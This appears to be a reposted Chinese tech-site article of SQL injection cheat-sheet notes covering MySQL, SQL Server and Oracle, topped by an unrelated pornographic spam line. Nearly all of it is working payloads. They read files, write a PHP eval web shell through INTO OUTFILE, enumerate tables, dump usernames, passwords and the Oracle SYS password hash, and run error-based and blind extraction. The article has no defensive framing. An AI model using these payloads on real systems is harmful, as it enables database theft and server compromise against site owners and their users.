自拍偷在线精品自拍偷,亚洲欧美中文日韩v在线观看不卡

SQL注入速查筆記

運(yùn)維 數(shù)據(jù)庫(kù)運(yùn)維
Mysql劃分:權(quán)限 root 普通用戶 版本 mysql>5.0 mysql<5.0。

 [[348344]]

0x01 Mysql

Mysql劃分:權(quán)限 root 普通用戶 版本 mysql>5.0 mysql<5.0

1.1 root權(quán)限

load_file和into outfile用戶必須有FILE權(quán)限,并且還需要知道網(wǎng)站的絕對(duì)路徑

判斷是否具有讀寫(xiě)權(quán)限

  1. and (select count(*) from mysql.user)>0# 
  2. and (select count(file_priv) from mysql.user)># 

A、Load_file() 該函數(shù)用來(lái)讀取源文件的函數(shù),只能讀取絕對(duì)路徑的網(wǎng)頁(yè)文件

注意:路徑符號(hào)”\”錯(cuò)誤 “\”正確 “/”正確,轉(zhuǎn)換成十六進(jìn)制,不用“”

  1. id=1 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,load_file(’/var/www/index.php’)(物理路徑轉(zhuǎn)16進(jìn)制) 

可以用來(lái)讀取數(shù)據(jù)庫(kù)連接文件獲取數(shù)據(jù)連接賬號(hào)、密碼等

  1. ?id=1'and 1=2 union select 1,load_file('D:\\wamp\\www\\111.php')%23 
  2. id=1'and 1=2 union select 1,load_file(0x443A2F77616D702F7777772F312E706870)%23 

B、into outfile函數(shù)

條件:1. 絕對(duì)路徑 2.可以使用單引號(hào)

  1. ?id=1 union select 1,"<?php @eval($_POST['g']);?>",3 into outfile 'E:/study/WWW/evil.php' 
  2. ?id=1 LIMIT 0,1 INTO OUTFILE 'E:/s 
  3. tudy/WWW/evil.php' lines terminated by 0x20273c3f70687020406576616c28245f504f53545b2767275d293b3f3e27 -- 

1.2 MySQL聯(lián)合查詢

1.2.1 適用于mysql低于5.0版本

  1. 1.判斷是否可以注入 
  2.     ?id=1 and 1=1,頁(yè)面正常 
  3.     ?id=1 and 1=2,頁(yè)面空白 
  4. 2.獲得字段數(shù) 
  5. order by的方法來(lái)判斷,比如: 
  6.     ?id=1 order by 4   頁(yè)面顯示正常 
  7.     ?id=1 order by 5   頁(yè)面出錯(cuò),說(shuō)明字段數(shù)等于4 
  8. 3.獲得顯示位 
  9.     ?id=1 and 1=2 union select 1,2,3,4  
  10.     //比如,頁(yè)面上出現(xiàn)了幾個(gè)數(shù)字,分別是2,3,4,那么,這幾個(gè)數(shù)字就被我們稱作顯示位。 
  11. 4.猜表名 
  12.     猜表名的方法是,在第三步的完整的地址后加上:Form 表名,比如: 
  13.         ?id=1 and 1=2 union select 1,2,3,4 from users 
  14.     這樣,當(dāng)users表存在的話,頁(yè)面就會(huì)顯示正常,如果我們提交一個(gè)不存在的表名,頁(yè)面就會(huì)出錯(cuò)。 
  15.  
  16. 5.猜字段 
  17.     使用:Concat(字段名)替換顯示位的位置。 
  18.         ?id=1 and 1=2 union select 1,2,3,concat(username,passwordfrom users 

1.2.2 適用于Mysql 5.0以上版本支持查表查列

  1. 1.先判斷是否可以注入 
  2.     and+1=1,頁(yè)面正常 
  3.     and+1=2,頁(yè)面空白 
  4. 2.獲得字段數(shù):使用order by 
  5. 提交: 
  6.     ?id=1 order by 4 正確。 
  7.     ?id=1 order by 5 錯(cuò)誤。 
  8.     那么,判斷出字段數(shù)為4。 
  9. 3.獲得顯示位 
  10.  
  11. 提交:?id=1 +and+1=2+union+select+1,2,3,4 
  12. 顯示位為:2,3,4 
  13. 4.獲取信息 
  14.     ?id=1 +and+1=2+union+select+1,2,3,version() 
  15.  
  16.     database()  
  17.     user()   
  18.     version()  
  19.     database()   
  20.     @@basedir  數(shù)據(jù)庫(kù)安裝路徑 
  21.     @@datadir  數(shù)據(jù)庫(kù)路徑 
  22. 5.查表 
  23. ?id=1 and 1=2 union select 1,2,3,table_name from information_schema.tables where table_schema=0x74657374(數(shù)據(jù)庫(kù)名test的Hex) limit 0,1-- 
  24. 得到表:test 
  25.  
  26. 6.查字段 
  27.     ?id=1 and 1=2 union select 1,2,3,column_name from  
  28. information_schema.columns where table_name=0x74657374 limit 0,1-- 
  29.     得到字段:id,username,password 
  30. 7.爆字段內(nèi)容 
  31.     ?id=1+and+1=2+union+select+1,2,3,concat(username,passwordfrom+test 

1.3 MySQL報(bào)錯(cuò)注入

mysql暴錯(cuò)注入方法整理,通過(guò)floor,UpdateXml,ExtractValue,NAME_CONST,Error based Double Query Injection等方法。

多種報(bào)錯(cuò)注入方式:

  1. and (select 1 from  (select count(*),concat(version(),floor(rand(0)*2))x from  information_schema.tables group by x)a); 
  2. and (select count(*) from (select 1 union select null union select !1)x group by concat((select table_name from information_schema.tables limit 1),floor(rand(0)*2))); 
  3. and extractvalue(1, concat(0x5c, (select VERSION() from information_schema.tables limit 1))) 
  4. and 1=(updatexml(1,concat(0x3a,(select user())),1)) 
  5. and GeometryCollection((select*from(select*from(select @@version)f)x)) 
  6. and polygon((select*from(select name_const(version(),1))x)) 
  7. and linestring((select * from(select * from(select user())a)b)) 
  8. and multilinestring((select * from(select * from(select version())a)b)); 
  9. and multipoint((select * from(select * from(select user())a)b)); 
  10. and multipolygon((select * from(select * from(select user())a)b)); 
  11. and exp(~(select * from(select version())a)); 

1.4 MySQL盲注

基于布爾型注入

  1. id=1 and (select length(user()))=20 # 返回正常頁(yè)面  長(zhǎng)度20位 
  2. id=1 and ascii(substring((SELECT username FROM users limit 0,1),1,1))=97 
  3. //截取username第一個(gè)數(shù)據(jù)的ascii值 

基于時(shí)間型注入

  1. 1 xor (if(ascii(mid(user()from(1)for(1)))='r',sleep(5),0)) 
  2. 1 xor if(ascii(substr(user(),1,1)) like 1124,benchmark(1000000, md5('1')),'2'

0x02 SQLServer

SA權(quán)限:數(shù)據(jù)庫(kù)操作,文件管理,命令執(zhí)行,注冊(cè)表讀取等

Db權(quán)限:文件管理,數(shù)據(jù)庫(kù)操作等

Public權(quán)限:數(shù)據(jù)庫(kù)操作

2.1 SQLServer 聯(lián)合查詢

  1. 1.判斷是否存在注入 
  2.     ?id=1 and 1=1--  返回正確 
  3.     ?id=1 and 1=2--  返回錯(cuò)誤 
  4.  
  5. 2.獲取字段數(shù) 
  6.     ?id=1 order by 2-- 返回正確頁(yè)面   
  7.     ?id=1 order by 3-- 返回錯(cuò)誤頁(yè)面    字段長(zhǎng)度為2 
  8.  
  9. 3.查看數(shù)據(jù)庫(kù)版本 
  10.     ?id=1 and 1=2 union select  db_name(),null   //獲得當(dāng)前數(shù)據(jù)庫(kù) 
  11.  
  12. 4.查看表名 
  13.     ?id=1 and 1=2 union select  top 1  TABLE_NAME ,2 from INFORMATION_SCHEMA.TABLES where table_name not in ('users')  
  14.  
  15. 5.查看列名 
  16.     ?id=1 and 1=2 union select  top 1 column_name ,2  from  information_schema.columns where table_name ='users'  and column_name not in ('uname'
  17.  
  18. 6.獲取數(shù)據(jù) 
  19.     ?id=1 and 1=2 union select top 1 uname,null from users 

2.2 SQLServer 報(bào)錯(cuò)注入

  1. 1.獲取表名 
  2. ?id=4' and 1>(select top 1  TABLE_NAME from INFORMATION_SCHEMA.TABLES  where TABLE_NAME not in ('admin') )-- 
  3. 2.獲取列名 
  4. ?id=4' and 1>(select top 1 COLUMN_NAME from INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='admin' and column_name not in ('id')) -- 
  5.  
  6. 3.獲取數(shù)據(jù) 
  7. ?id=4' and 1=(select top 1 pwd from admin) -- 
  8.  
  9. 4.獲取數(shù)據(jù)庫(kù)信息 
  10. ?id=1' and 1=(select @@version)--   //SQL Server 2000 
  11. ?id=1' and 1=(select db_name())  //當(dāng)前使用的數(shù)據(jù)庫(kù) 

2.3 SQLServer 盲注

  1. 1、猜表名 
  2.  
  3. ?id=1 and  (select count(*) from sysobjects where name in (select top 1 name from sysobjects where xtype='u'and len(name)=7)=1 --  //獲取第一個(gè)表的長(zhǎng)度7 
  4.  
  5. ?id=1 and (select count(*) from sysobjects where name in (select top 1 name from sysobjects where xtype='u'and ascii(substring(name,1,1))=116)=1 --    //截取第一個(gè)表第一位的ascii碼 
  6.  
  7. ?id=1 and (select count(*) from sysobjects where name in (select top 1 name from sysobjects where xtype='u' and name not in ('users')) and ascii(substring(name,1,1))>115)=1 --//猜第二個(gè)表的第一位ASCII值 
  8. 得到表名,進(jìn)一步猜解字段 
  9.  
  10. 2、猜字段 
  11. id=1 and  
  12. (select count(*) from syscolumns where name in (select top 1 name from syscolumns where id=(select id from sysobjects where name='users')) and ascii(substring(name,1,1))=117)=1  
  13. //獲取users表第一個(gè)字段的ASCII值 
  14.  
  15. id=1 and  
  16. (select count(*) from syscolumns where name in (select top 1 name from syscolumns where id=(select id from sysobjects where name='users') ) and name not in ('upass')  and ascii(substring(name,1,1))>90)=1  -- 
  17. //獲取user表第二個(gè)字段的第一位ASCII值 
  18.  
  19. 3、猜數(shù)據(jù) 
  20. id=1 and (ascii(substring((select top 1 uname from users),1,1)))=33 --   
  21. //獲取users表中uname字段的第一位ASCII值 

0x03 Oracle

3.1 聯(lián)合查詢

  1. Union select null,null,null   從第一個(gè)null開(kāi)始加’null’,得到顯示位 
  2. Union select null,null,null from dual  返回正確,存在dual表 
  3. Union Select tablespace_name from user_tablespaces    //查庫(kù) 
  4. Union Select table_name from user_tables where rownum = 1 and table_name<>’news’  //查表 
  5. Union Select column_name from user_tab_columns where table_name=’users’  //查列 
  6. ?id=1 order by 1-- //獲取字段數(shù) 
  7. and+1=1+union+all+select+(SELECT banner FROM v$version where rownum=1)+from+dual--//獲取數(shù)據(jù)庫(kù)版本 
  8. and+1=1+union+all+select+(select user from dual where rownum=1)+from+dual-- //獲取當(dāng)前連接數(shù)據(jù)庫(kù)的用戶名 
  9. union+all+select+(select password from sys.userwhere rownum=1 and name='SYS')+from+dual-- -- //獲取用戶SYS密文密碼 
  10. union+all+select+(SELECT name FROM v$database)+from+dual-- //獲取庫(kù)名 
  11. and+1=1+union+all+select+(select table_name from user_tables where rownum=1)+from+dual--//獲取第一個(gè)表名 

3.2 手工顯錯(cuò)注入

  1. 最大的區(qū)別就是utl_inaddr.get_host_address這個(gè)函數(shù),10g可以調(diào)用,11g需要dba高權(quán)限 
  2.  
  3. //判斷是否是oracle 
  4. ?id=1 and exists(select * from dual)-- 
  5.  //獲取庫(kù)名 
  6. ?id=1 and 1=utl_inaddr.get_host_address((SELECT name FROM v$database))—- 
  7. //獲取數(shù)據(jù)庫(kù)服務(wù)器所在ip 
  8. ?id=1 and 1=ctxsys.drithsx.sn(1,(select UTL_INADDR.get_host_address from dual where rownum=1))--  
  9. ?id=1 and 1= CTXSYS.CTX_QUERY.CHK_XPATH((select banner from v$version where rownum=1),'a','b')-- 
  10. ?id=1 or 1=ORDSYS.ORD_DICOM.GETMAPPINGXPATH((select banner from v$version where rownum=1),'a','b')-- 
  11. ?id=1 and (select dbms_xdb_version.uncheckout((select user from dual)) from dual) is not null -- 
  12. ?id=1 and 1=ctxsys.drithsx.sn(1,(select user from dual))-- 

3.3 盲注

基于布爾類(lèi)型的盲注:

  1. ?id=7782' and length((SELECT name FROM v$database))=4--  獲取數(shù)據(jù)庫(kù)名長(zhǎng)度 
  2. ?id=7782'  and ascii(substr((SELECT name FROM v$database),1,1))=79--  
  3. 獲取數(shù)據(jù)庫(kù)名第一位為O 

基于時(shí)間延遲的盲注:

  1. ?id=7782' and 1=(CASE WHEN (ascii(substr((SELECT name FROM v$database),1,1))=79) THEN 1 ELSE 2 END)-- 
  2. ?id=7782'  AND 1=(CASE WHEN (ascii(substr((SELECT name FROM v$database),1,1))=79) THEN DBMS_PIPE.RECEIVE_MESSAGE(CHR(108)||CHR(103)||CHR(102)||CHR(102),5) ELSE 1 END)-- 

 

責(zé)任編輯:武曉燕 來(lái)源: Bypass
相關(guān)推薦

2013-05-02 15:09:22

2010-12-20 16:04:30

2017-08-10 10:23:59

2010-04-13 14:35:17

2020-09-28 09:30:13

mybatis

2010-09-27 11:17:31

2011-10-19 10:47:56

2020-12-16 13:22:37

Web安全SQL工具

2009-02-04 16:51:48

2019-02-22 09:00:00

2020-08-07 08:13:08

SQL攻擊模式

2009-11-02 13:47:09

2021-09-16 09:05:45

SQL注入漏洞網(wǎng)絡(luò)攻擊

2009-10-25 13:32:09

2009-07-24 16:59:57

iBatis模糊查詢

2014-11-04 13:43:10

2016-09-06 13:40:20

2015-08-26 11:12:11

數(shù)據(jù)溢出SQL注入SQL報(bào)錯(cuò)注入

2018-12-11 10:55:00

SQLFuzzWEB安全

2010-09-14 16:00:16

點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號(hào)